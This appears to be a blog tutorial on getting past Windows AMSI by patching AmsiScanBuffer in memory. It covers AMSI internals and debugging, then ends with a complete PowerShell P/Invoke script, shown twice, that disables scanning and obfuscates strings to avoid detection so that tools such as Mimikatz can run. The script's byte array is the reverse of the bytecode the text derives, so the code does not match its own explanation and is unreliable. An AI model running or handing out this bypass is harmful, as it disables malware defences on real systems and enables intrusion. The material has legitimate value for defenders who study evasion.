- Published on
AMSI Bypass - Memory Patching
- AMSI
- AMSI Working Mechanism
- AMSI Internals
- Debugging amsi.dll
- Analysing AmsiScanString and AmsiScanBuffer
- Patching amsi.dll
- References
AMSI
AMSI or Anti Malware Scan Interface
is a defensive mechanism used by PowerShell, UAC and many more
to check whether a malicious data is being passed into it or not. It mostly targets the commands and scripts which are being executed in the PowerShell or other AMSI integrated environment. If it detects any malicious content in it, AMSI terminates the execution and moves it to the Windows Defender
for further analysis
AV softwares are so developed today which has many detection mechanisms to find malwares and threats. But the need for AMSI rises when AV fails to check file less content which completely relies on memory and doesn't land on disk. AV performs detection for files on disk and files attempting to create process. But what if an attacker tries to perform threat controlled in memory via commands or via malicious fileless scripts, thats where AMSI comes into action. AMSI peforms detection for malicious content in commands or fileless scripts
Windows components that integrate with AMSI are,
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
- Windows Script Host (wscript.exe and cscript.exe)
- JavaScript and VBScript
- Office VBA macros
For more detailed information on AMSI, refer here
AMSI Working Mechanism
Before we get started, we need keep in mind that AMSI
is a dynamically loaded
feature
For example, if we start a PowerShell
process, the AMSI in it is dynamically loaded into the PowerShell process when it is started with the help of amsi.dll
Whenever a command is passed (or) a fileless content is ran (scripts), the AMSI tries to de-obfuscate the encoded content to the extent of scripting engine (atmost de-obfuscation) so that it can go through it to find malicious keywords using signatures from AV
These AMSI integrated application makes RPC calls
with Windows Defender or other 3rd party AV to process the scanned data. The sole purpose of AMSI is to act as bridge between detection of file less contents and Windows Defender/ AV Softwares
These strings doesn't seem to trigger AMSI while loading our file less content. Lets see how it detects some realtime badass malicious script, Mimikatz
When we try to load Mimikatz into memory, it gets detected by AMSI and raises an alert to the Windows Defender because it has malicious content which got detected before. This gets stored in Windows Event Logs
with the event ID of 1116
For more on Windows Defender AntiVirus Event IDs
To view the logs in Windows Event Viewer, open Event Viewer (Win + R -> eventvwr.msc
)
Event Viewer -> Application and Services Logs -> Microsoft -> Windows -> Windows Defender -> Operational
We can also filter these event logs in PowerShell CLI
These detection data from AMSI will be processed by Windows Defender/ AV Softwares for further analytics and triaging
We can see that our previous incident is stored and the threat is removed by Windows Defender
There is an another interesting behaviour of AMSI. AMSI just checks the string/patterns in the memory and flags it as malicious. There are some strings which are considered to be extremely dangerous in the wild which AMSI flags it as malicious on the moment when it is found.
Here Invoke-Unknown
is an undefined cmdlet, which throws an CommandNotFoundException
error when it is called. But in the same way when we call Invoke-Mimikatz
which is not even loaded in the memory, it triggers the AMSI with ScriptContainedMaliciousContent
error
And AMSI flags some of its internal functions as malicious, because attackers might use these functions with their violent intentions to tamper AMSI. So AMSI becomes self reserved and flags these function as malicious too
But these can be easily bypassed by obfuscation techniques in the memory of the process
Here rises a question that why can't we use obfuscation to bypass AMSI everytime. Of course we can bypass AMSI using obfuscation, but that is not reliable everytime. AV signatures gets updated every day for every kind of latest obfuscation. So it is not recommended to prefer obfuscation for longer run.
AMSI Internals
AMSI Internals can be broadly classified into,
- Enumerations
- Functions
- Interfaces
Enumerations refers to the constants dealt with AMSI and Interfaces are used when communicating Windows Defender/ 3rd party AV from AMSI. But the core lies within the functions of AMSI which is responsible for detecting and triggering alerts for fileless malwares
For more detailed info on AMSI Internals
The functions used by AMSI are,
- AmsiCloseSession - Close a session that was opened by AmsiOpenSession.
- AmsiInitialize - Initialize the AMSI API.
- AmsiNotifyOperation - Sends to the antimalware provider a notification of an arbitrary operation.
- AmsiOpenSession - Opens a session within which multiple scan requests can be correlated.
- AmsiResultIsMalware - Determines if the result of a scan indicates that the content should be blocked.
- AmsiScanBuffer - Scans a buffer-full of content for malware.
- AmsiScanString - Scans a string for malware.
- AmsiUninitialize - Remove the instance of the AMSI API that was originally opened by AmsiInitialize
For AMSI, the important functions which deals with the scanning process we need to focus are AmsiScanString
and AmsiScanBuffer
The structure of AmsiScanString
is,
HRESULT AmsiScanString(
[in] HAMSICONTEXT amsiContext,
[in] LPCWSTR string,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);
The structure of AmsiScanBuffer
is,
HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);
These both functions returns S_OK
if the content is not malicious. Otherwise, it returns an HRESULT
error code. AmsiScanString
calls AmsiScanBuffer
in its own function, which will be explained later.
For more detailed information about AmsiScanBuffer and AmsiScanString
If the result is malicious, then AMSI calls AmsiResultIsMalware
which blocks the execution of the fileless content.
The AmsiResultIsMalware
returns nothing and its structure is,
void AmsiResultIsMalware(
[in] r
);
The types of results which the scans from AmsiScanString
or AmsiScanBuffer
produces are,
- AMSI_RESULT_CLEAN - Known good. No detection found, and the result is likely not going to change after a future definition update.
- AMSI_RESULT_NOT_DETECTED - No detection found, but the result might change after a future definition update.
- AMSI_RESULT_BLOCKED_BY_ADMIN_START - Administrator policy blocked this content on this machine (beginning of range).
- AMSI_RESULT_BLOCKED_BY_ADMIN_END - Administrator policy blocked this content on this machine (end of range).
- AMSI_RESULT_DETECTED - Detection found. The content is considered malware and should be blocked.
These are from AMSI_RESULT
which is a part of AMSI Enumeration Constants and its structure is,
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;
Whatever the content may be or however the function may work, the result from these function determines whether our fileless content is malicious or not. This is the key to our AMSI bypass
.
Debugging amsi.dll
We know that amsi.dll
is responsible for exporting these functions into the process with which AMSI is integrated with. Now lets use Process Hacker
to see how it exports these functions.
The amsi.dll
is loaded into a base address which is not even static and from there it exports all the functions which are required for AMSI. So whatever we try to do for bypassing AMSI should be dynamic
Using frida-trace
to debug Win32 AMSI API Calls and generating output handlers to debug the AMSI functions,
Editing the JS output handlers for the required functions based on their structure format to get detailed debugging data,
Now lets test the debugging data by passing some dummy strings in the PowerShell session,
We can see that our string test
gets scanned by AMSI and produces the result which has its value in 0x58b084e858
Changing the result output into Memory.readUShort(args[])
, so that it can read the result value from that memory
The structure of AMSI_RESULT
with its corresponding values. So for each scan our result value should lie within 1 to 32768
enum AMSI_RESULT{
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
};
Now testing with legitimate string patterns should give us 1
,
Now testing with malicious string patterns should give us 32768
,
If we somehow able to tamper or patch the value, we can control the AMSI in the current memory and load our malicious scripts
Analysing AmsiScanString and AmsiScanBuffer
Lets load our amsi.dll
into diassembler and view its instructions,
Disassembling AmsiScanString
We can clearly see that AmsiScanString
always load AmsiScanBuffer
when it is invoked
Disassembling AmsiScanBuffer
Seems like these two functions are performing validations on the provided arguments and starts the scan
But the one thing common on those two functions is the error handling block
We can see that the left block performs the scan after all the arguments are validated without error, whereas the right block executes when there is an error in validating the arguments and ends the function
Here this address 0x80070057
refers to E_INVALIDARG
which gets stored into eax
and returns as HRESULT
of this function which is then processed as AMSI_RESULT_CLEAN
Reference for E_INVALIDARG
Patching amsi.dll
AmsiScanString
calls AmsiScanBuffer
, so if we patch these bytecodes in front of AmsiScanBuffer
, AmsiScanString
will also loose its power to detect
So if we use the right side block having 0x80070057
value in it before the scan, the function ends without scanning the fileless content and allows us to execute malicious payloads
The instruction in the right side block is,
mov eax, 0x80070057
After this we have to perform ret
to exit the function, so the bytecode for these instruction will be b857000780c3
Now we know the bytecode for patching the AMSI, but we cannot patch it everytime with the help of debugger. We need some dynamic code to load it into the memory of PowerShell session to patch the AMSI.
In order to do that, we need the value of address space for amsi.dll
which is dynamically loaded and from the base address of that DLL we need to extract the address for AmsiScanBuffer
and we need to write our patch bytecodes with the help of VirtualProtect
Lets use Pinvoke
to use Win32 APIs in PowerShell by C#,
$pinvoke_obj = @"
using System;
using System.Runtime.InteropServices;
public class WinApi {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out int lpflOldProtect);
}
"@
Loading the pinvoke object using Add-Type
and using obfuscation techniques discussed above to avoid AMSI detection before loading our patch
Add-Type $pinvoke_obj
$amsiDll = [WinApi]::LoadLibrary("ams"+"i.dll")
$funcAddr = [WinApi]::GetProcAddress($amsiDll, "Ams"+"iScanB"+"uffer")
$patch = [Byte[]](0xc3,0x80,0x07,0x00,0x57,0xb8)
$out = 0
[WinApi]::VirtualProtect($funcAddr, [uint32]$patch.Length, 0x40, [ref] $out)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $funcAddr, $patch.Length)
[WinApi]::VirtualProtect($funcAddr, [uint32]$patch.Length, $out, [ref] $null)
Here we are loading our amsi.dll
with LoadLibrary
and getting the address of the function AmsiScanBuffer
using GetProcAddress
from the DLL. The patch bytecode is being stored into $patch
. We are using VirtualProtect
to change the permission and allowing System.Runtime.InteropServices.Marshal
to write our bytecodes into the memory and using VirtualProtect to reset the permissions in the memory
Now we have made our patch dynamic and portable. It can be loaded into any PowerShell memory to patch the AMSI
The complete patch for AMSI bypass,
$pinvoke_obj = @"
using System;
using System.Runtime.InteropServices;
public class WinApi {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out int lpflOldProtect);
}
"@
Add-Type $pinvoke_obj
$amsiDll = [WinApi]::LoadLibrary("ams"+"i.dll")
$funcAddr = [WinApi]::GetProcAddress($amsiDll, "Ams"+"iScanB"+"uffer")
$patch = [Byte[]](0xc3,0x80,0x07,0x00,0x57,0xb8)
$out = 0
[WinApi]::VirtualProtect($funcAddr, [uint32]$patch.Length, 0x40, [ref] $out)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $funcAddr, $patch.Length)
[WinApi]::VirtualProtect($funcAddr, [uint32]$patch.Length, $out, [ref] $null)
We have successfully applied patch and bypassed the AMSI detection